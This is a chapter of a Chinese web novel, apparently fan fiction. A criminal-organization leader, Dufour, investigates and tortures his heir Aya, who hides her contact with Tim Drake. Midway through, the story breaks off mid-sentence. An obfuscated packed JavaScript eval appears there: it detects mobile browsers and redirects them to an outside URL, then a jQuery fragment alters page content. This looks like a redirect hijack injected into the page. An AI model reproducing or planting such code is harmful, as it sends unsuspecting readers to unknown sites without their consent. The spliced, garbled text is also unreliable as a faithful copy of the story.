之前曾有不少清算人,明里暗里抱怨过阿娅“傲慢”,觉得阿娅根本不拿正眼看他们。
但如果这些人,跟这道声音的主人打过交道,就半点不会觉得阿娅目中无人了,只会觉得她格外友善可亲:
至少跟阿娅说话的时候,你还能有种“她在跟人交流”的感觉。
可这道低沉、磁性却冷漠的声音一出来,你都不用见到他,就能想象出他傲慢不逊的神情,无机质的眼神,以及把所有清算人,都当死人、垃圾、贱民和虫豸对待的,高高在上的口吻。
审讯室里唯一活着的这位小头目,已经抖成了一只缩头鹌鹑,一边上下牙打架,一边在心里咒骂已经被变成糊糊了的同僚一万遍,忽然听到那个声音再度传来,问道:
“阿娅申请了一些个人日常用品?”
小头目一个打挺站得笔直,大声回答道:“是的,首领!阿娅小姐在申请枪械弹药的补充和近战武器的保养之外,额外申请了一些手机电脑之类的通讯娱乐工具,相应报告已经递交给您了,请查阅!”
清算人首领——也就是杜弗尔——闻言,忽然笑了一声。
很难说这一声笑里,是好奇更多,还是嘲讽更多。总之落在小头目耳中,便是一种奇异的“没想到我养的小玩意儿竟然敢自己动弹了”,居高临下的好奇与宽纵:
“她竟然有了‘娱乐’和‘沟通’的概念?”
“真有趣。是谁把这种东西,放在她脑子里的?”
小头目抖若筛糠,不知道自己会不会下一秒就变成糊在墙上的第二层,却还是强撑着回话:
“报告首领,除去这个不知死活的家伙之外,没人跟阿娅小姐说话。她被押过来上交个人物品的时候,就在跟我们要这些东西了。”
摄像头上的红点闪动了几下,随即湮灭,再无半点动静。
小头目一看首领走了,终于放心长出一口气,腿软心跳地跌坐下去,结果两手往地上一撑,好家伙,直接抓了满手血浆和肉泥,不由得下意识惨叫一声:
“啊——!!!”
他这一嗓子没喊完,门又被推开了。阿娅探了个头进来,目光精准锁定了还在拼命甩手擦手的小头目,礼貌道:
“你好,有空吗?”
小头目已经快崩溃了。
他真的很想大喊一声没空,但他不敢。
很难说是“同僚在我面前被均匀涂抹开来”更让人胆战心惊,还是“首领随时可能折返,把我也做成人肉颜料在墙上玩涂鸦”更让人提心吊胆,抑或者是“这个隐形炸弹正在跟我搭话”更让人绝望。
总之最后,小头目还是挤出了一个绝望的笑容,谄媚道:“有的,阿娅小姐,当然有空。有什么是我能帮您的?”
阿娅目不斜视地走进来,就好像这间还在从天花板上,滴滴答答往下掉血肉混合物的房间,整洁得一尘不染似的,把手机递到了他面前:
“我需要一个能跟人沟通交流的账号。”
小头目抖着手接过手机:“您指的是哪个平台?”
“有很多平台吗?”阿娅想了想,“那就正常人会使用的全部吧。”
小头目试图不着痕迹地把自己和阿娅之间的距离拉开了一点,然后开始运指如飞地给她注册账号。
都说科学技术是第一生产力,但落在这一刻,完全可以替换为恐惧是第一生产力。没几分钟,他就注册好了所有的账号,把手机还给了阿娅,恨不得下一秒就能送这个隐形炸弹出门:“都弄好了,阿娅小姐。”
阿娅一点头,拔腿就往门外走去。
小头目刚刚呼出半口气,庆幸自己的小命保住了,却见阿娅又折返回来,疑惑道:“我是不是该说‘谢谢’?”
小头目突然有了种毛骨悚然的感觉,就好像有什么东西在背后死死盯着自己,如果目光有实体,那么他现在已经从脊椎开始被切成薄片了,赶忙道:
“您从哪里知道的这个词?不用,当然不用。”
“而且这也不是什么好话,别再说了,阿娅小姐。”
阿娅若有所思地点点头,随即推门离开,再不曾回首。
小头目狠狠擦了把头上的冷汗,哆哆嗦嗦地转过头去,与藏在天花板角落的摄像头来了个两两相对;更可怕的是,摄像头上的红点,不知何时已经亮起来了,很明显,杜弗尔把两人的交谈听了个七七八八,搞不好甚至听完了全程。
——噔!噔!咚!
——完了,死定了!!!
小头目的心中从没如此明显地有过对“死亡”的预感。
他甚至都能听见自己的心脏在疯狂跳动,血液一波又一波地冲刷着鼓胀的耳膜。自己好像正在开口说话,可这发虚的声音,竟也好似从天外传来似的,隔了一层,飘飘荡荡,分外模糊:
“哈哈,首领,原来您还在啊?”
杜弗尔半点跟他交谈的意思也没有,只言简意赅道:
“去查。”
小头目骤然得知自己躲过一劫,脑子一时间竟转不动了,只傻傻道:“啊?”
“去查她这段时间,都和什么人有过交集。”杜弗尔加重语气,重复了一遍,这一次,小头目终于听清了隐藏在其中的,“竟有事情胆敢脱离我的掌控”的,被冒犯的愤怒,“阿娅根本不该知道这些。”
“我把她从世界和人群中隔离开来,手把手教她下棋、杀人。我把她的精神摧毁无数次又重建无数次,才得以铸就这把能够斩断一切的,我最宝贵的利刃。”
“她不怕疼,不会哭,不害怕痛苦,也不知道幸福。她不会开玩笑,更不会去寻求娱乐和放纵,因为她的这一生都只为清算人活着。”
“啪嗒”一声轻响,似乎是一枚棋子被落下的声音。这道声音落在小头目的耳中,就好像宣告了他的死缓,也宣告着名为“阿娅”的棋子,自始至终,都未能从棋局中逃离:
“你说,如果没有外人与她交谈,把这些乱七八糟的东西带给了她、污染了她,她怎么会知道,要和人‘沟通’,还要跟人说‘谢谢’呢?”
小头目打了个寒颤,一时间不知道该先可怜随时都有可能被首领迁怒弄死的自己,还是先同情看似风光、实则半点人身自由也没有的阿娅。
只不过这种感觉转瞬即逝。杜弗尔话音刚落,他便大喊一声“遵命”,爆冲出门去了,速度快得简直就像有剑齿兽在咬他的后脚跟,撞得门扇来回摇动不止。
杜弗尔一声令下,整个清算人组织便以前所未有的高效率,以他为中心运转起来了。
如果说阿娅作为“继承人”,能调动的那些金钱和军火,算得上一头猛狮,那么此时此刻,受真正的首领调遣而运作起来的这个组织,便是一头哥斯拉一样的猛兽,还是张口就能轻轻松松吞掉十座世界最高楼的那种。
阿娅在这一年里,接触过的所有人、做过的所有任务、用过的东西和去过的地点等一切与她相关的东西,被飞速从数据库中抽调、筛查、简化、对比,最终汇总成薄薄的几页纸,在数分钟内,便呈到杜弗尔面前。
——然而出乎杜弗尔预料的是,他把这份资料翻来覆去看了三遍,也没能看出来什么异常。
就好像阿娅依然和从前一样,十余年如一日,在无数任务地点间沉默而忠诚地奔走。
杀人机器割过来,杀人机器推过去,噼里啪啦爆炸,丁零当啷剁人,所过之处寸草不生,一星半点和外人产生交际的迹象也无。
说得再明白些,仿佛有一只无形的大手,将“提姆·德雷克”这个存在完全抹去了。
数据查不到,影像不存在。就连奉命赶回总部的阿娅,也不知有意还是无意地瞒下了“提姆·德雷克”这个名字、这个人,硬生生撑过了杜弗尔本人的三轮拷问,才让这位冷酷残暴、聪明绝顶的首领,得出了两个结论:
第一,没人带坏她,这只是在出任务途中,见到了正常人之间的社交行为,进而对此进行的模仿,她依然是从前那个比狗都要听话的好女孩;
第二,这把刀在长久的奔走后,已经有些疲倦发钝了,连一个叛徒都带不回来。
这个叛徒的姓名、性别、动机等一切信息,其实都不重要;但传闻说此人偷走了十年份的灰烬账簿,这很重要。
所以杜弗尔刚听说这件事,便立刻改了主意,要阿娅将他活着带回:
没人能从清算人首领手里偷东西。只要他这么干了,不管是成功还是失败,下场唯有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016349|194196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死。唯有用鲜血和死亡,才能偿还对清算人首领的威严的挑衅!
——然后阿娅空手而归。
清算人里最锋利的刀一斩落空,未能饮血。
这已经不是简单的“任务失败”的问题了,完全就是在把杜弗尔的面子扔在地上,啪嗒啪嗒踩着跳桑巴舞。
于是杜弗尔决定对阿娅进行一番调整。
比如说,把她从需要出外勤的一线,调到负责情报和间谍工作的信息部门。
再比如说,让她回想起,什么是真正的“暴力”和“恐惧”,让她定定神,收收心。
他握着阿娅的下巴,轻轻将阿娅的头从自己膝盖上抬起,铅灰色的狭长双眸里倒映着满地的血,愈发衬得他的声音讥诮、倨傲:
“或许是我对你抱有了过高的期望,看看,阿娅,离开我这么久,你也没长进多少。”
他的语调慢条斯理,摩挲着阿娅脖颈的手指也慢条斯理,半点不见他制住阿娅所有的反抗,将她无数次打倒在地时,那压倒一切、毁灭一切、残暴得近乎非人的力量。
只有真正掌握伟力、权能和生死的人,才有资格摆出从容不迫的样子,而这些东西,都是来去匆匆的“阿娅小姐”,所永远无法拥有的:
“好女孩,我再给你最后一次机会。”
“不管你之前出于怎样的理由隐瞒我、欺骗我,只要这一次,你愿意如实相告,那么所有的旧账就都一笔勾销。你知道的,我说到做到。”
“但如果你负隅顽抗,要骗我骗到底,那么你最好祈祷,在我还活着的年岁里,你永远、永远都不会暴露。否则我一定会亲手折断你的脖颈,砍下你的头颅和四肢,让你的尸首连最好的裁缝都拼凑不全。”
空气中的血腥味愈发浓重。铅灰色的眼睛对上了深红色的双眸,宛如血漫过审讯室的水泥地板。
杜弗尔似笑非笑地望着被他完全把控住的阿娅,一瞬间竟有些百无聊赖,却也十分笃定,从这忠诚、天真、残暴、乖巧又可怜的小东西嘴里,不可能得到半句假话:
“那么阿娅,接下来,你有什么话要对我说?”
说来惭愧,阿娅眼下趴在杜弗尔膝盖上的原因很简单。
半点温情脉脉的亲情氛围也没有,更没有脖子以下不能描写的BDSM情节,唯一能够令这段话被各大平台审核扣下的原因只有一个,那就是血腥暴力:
她浑身的骨头都被打断了。
阿娅不是没有反抗过。
或者说得再准确一点、再大逆不道一点,自她成年后,就无时无刻不在密谋如何还手,日日夜夜都在想,如何活得有尊严一点:
别的小头目身手还不如我,都能被下属们当做救世主一样信赖、畏惧和尊重,为什么我作为有史以来最年轻的小头目,作为首领最倚重的继承人,在他的面前,却还是半点尊严都没有,活得连一条狗都不如?
他提供给我容身之处,教我如何使用刀枪,又把他的观念传授给我。
既如此,我难道不算更年轻的他吗?为何首领不能像尊重自己一样,尊重我呢?
但阿娅所有明里暗里的反抗,都没被杜弗尔放在眼里。
——不是镇压下去,而是根本就没放在眼里。
他实在太强大了。
这位年岁不知几何、来处也同样成谜的暴徒首领,只一言不发地站在那里,就能带给人近乎窒息的威胁感。但凡是有些战斗本能的,就该从他身上,感受到如下信息:
不可违逆,不可战胜,不可逃脱。
可以说,在这次杜弗尔亲自出手的审问中,别管阿娅在这个过程中,爆发出了怎样撕心裂肺的惨叫,流了多少泪、多少血,直到最后,她竟然都把这个谎言给死死瞒住了,已经算得上是开天辟地的、长足的进步。
她的头发完全散开了,被汗水浸湿,如摊开的黑色蛛网般,黏在她因失血和疼痛而苍白得犹如鬼魂的脸上。
年轻的继承人力气全无,挣扎不得,只能顺着杜弗尔的手抬起头,望向她的首领与引路人。
她咳出一口锈色的血,气若游丝却又斩钉截铁:
“没有,首领。”
“我忠心耿耿,故我无话可说。”